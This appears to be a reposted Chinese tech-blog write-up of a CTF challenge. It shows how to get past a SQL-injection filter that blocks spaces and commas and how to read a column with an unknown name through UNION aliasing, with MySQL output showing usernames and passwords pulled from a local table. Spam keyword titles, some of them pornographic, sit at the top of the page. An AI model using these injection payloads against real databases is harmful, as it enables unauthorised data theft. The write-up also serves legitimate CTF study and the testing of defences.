国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > MySQL > 正文

Mysql如何巧妙的繞過未知字段名詳解

2024-07-24 12:51:43
字體:
來源:轉載
供稿:網友

前言

本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細的介紹:

實現思路

題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;

存放flag的字段名未知,information_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用聯合查詢,過程如下:

思想就是獲取flag,讓其在已知字段名下出現;

示例代碼:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| a | b | c | d |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;+---+-------+----------+-------------+| 1 | 2 | 3 | 4 |+---+-------+----------+-------------+| 1 | 2 | 3 | 4 || 1 | admin | admin888 | 110@110.com || 2 | test | test123 | 119@119.com || 3 | cs | cs123 | 120@120.com |+---+-------+----------+-------------+4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;+-------------+| 4 |+-------------+| 4 || 110@110.com || 119@119.com || 120@120.com |+-------------+4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+| 4 |+-------------+| 120@120.com |+-------------+1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)dunion select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;+-------------+----------+----------+-------------+| id | username | password | email |+-------------+----------+----------+-------------+| 1 | admin | admin888 | 110@110.com || 120@120.com | 1 | 1 | 1 |+-------------+----------+----------+-------------+2 rows in set (0.04 sec)

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對錯新站長站的支持。

您可能感興趣的文章:

防止xss和sql注入:JS特殊字符過濾正則一個過濾重復數據的 SQL 語句MySQL注入繞開過濾的技巧總結SQL注入中繞過 單引號 限制繼續注入SQL注入繞過的技巧總結多列復合索引的使用 繞過微軟sql server的一個缺陷關于SQL注入繞過的一些知識點SQL Server簡單模式下誤刪除堆表記錄恢復方法(繞過頁眉校驗)SQL注入技巧之顯注與盲注中過濾逗號繞過詳析
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 德州市| 长岛县| 嘉义县| 休宁县| 武冈市| 堆龙德庆县| 南木林县| 松阳县| 任丘市| 封开县| 安徽省| 桓台县| 新龙县| 望都县| 富源县| 城市| 邯郸市| 巴林左旗| 吉安市| 绥宁县| 南通市| 兰西县| 新乐市| 醴陵市| 长垣县| 黑龙江省| 台东县| 佛山市| 阳原县| 阳曲县| 东乡县| 宜丰县| 五河县| 苏州市| 香港| 通山县| 桃江县| 论坛| 松桃| 谢通门县| 棋牌|